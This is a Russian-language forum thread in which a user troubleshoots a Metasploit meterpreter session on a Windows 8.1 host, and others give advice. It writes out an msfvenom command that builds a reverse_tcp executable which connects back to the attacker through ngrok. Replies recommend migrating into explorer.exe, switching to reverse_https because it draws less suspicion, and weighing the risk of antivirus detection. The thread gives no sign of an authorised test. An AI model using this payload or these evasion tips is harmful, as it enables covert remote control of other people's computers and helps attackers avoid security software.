Metasploit ошибка

[Tayrus]

У меня шиндовс 8.1, создаю shell такой командой:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ВашАйпи LPORT=4444 -f exe > /root/shell.exe
Закидываю на хост, сессия прилетает, такие команды типо cd pwd ifconfig работают, а все остальные нет, не работает даже cat пишет:
[-] stdapi_fs_stat: Operation failed: Not enough storage is available to process this command.
PS делаю все через ngrok
[doublepost=1513656700,1513615871][/doublepost]UP

 

[BadBlackHat]

Попробуй мигрировать в другой процесс, сразу после получения сессии

 

[Tayrus]

Попробуй мигрировать в другой процесс, сразу после получения сессии

Cпасибо, мигрировал в explorer.exe все начало работать, только когда пишу cd Desktop пишет такой директории нету, как зайти на рабочий стол?

 

[BadBlackHat]

C:\Users\Текущий юзер\Desktop

 

[pluscat]

cd C:\Users
cd Юзер_который_нужен
cd Desktop

 

[ghostphisher]

и лучше использовать /reverse_https - надежнее и устойчивее.

 

[BadBlackHat]

Спорный вопрос)) а если какими нибудь внутренними проксями запрещён 443?

 

[Catharsis]

Спорный вопрос)) а если какими нибудь внутренними проксями запрещён 443?

Вероятность этого мала, хотя никто и не исключает её.

 

[ghostphisher]

Спорный вопрос)) а если какими нибудь внутренними проксями запрещён 443?

tcp более подозрителен чем https, связь https держит стабильнее чем tcp, а если настроено внутренними проксями, там скорее всего подумали и об исходящем трафе в целом. Миграция в процес - это хорошо, но + к палеву ( если при помощи миграции решать ситуацию с обвалом связи ). Но как говориться - все индивидуально и по разному может сложиться.

 

[Tayrus]

tcp более подозрителен чем https, связь https держит стабильнее чем tcp, а если настроено внутренними проксями, там скорее всего подумали и об исходящем трафе в целом. Миграция в процес - это хорошо, но + к палеву ( если при помощи миграции решать ситуацию с обвалом связи ). Но как говориться - все индивидуально и по разному может сложиться.

А как может спалиться миграция?

 

[ghostphisher]

А как может спалиться миграция?

Антивирусом или некоторыми "защитниками" Win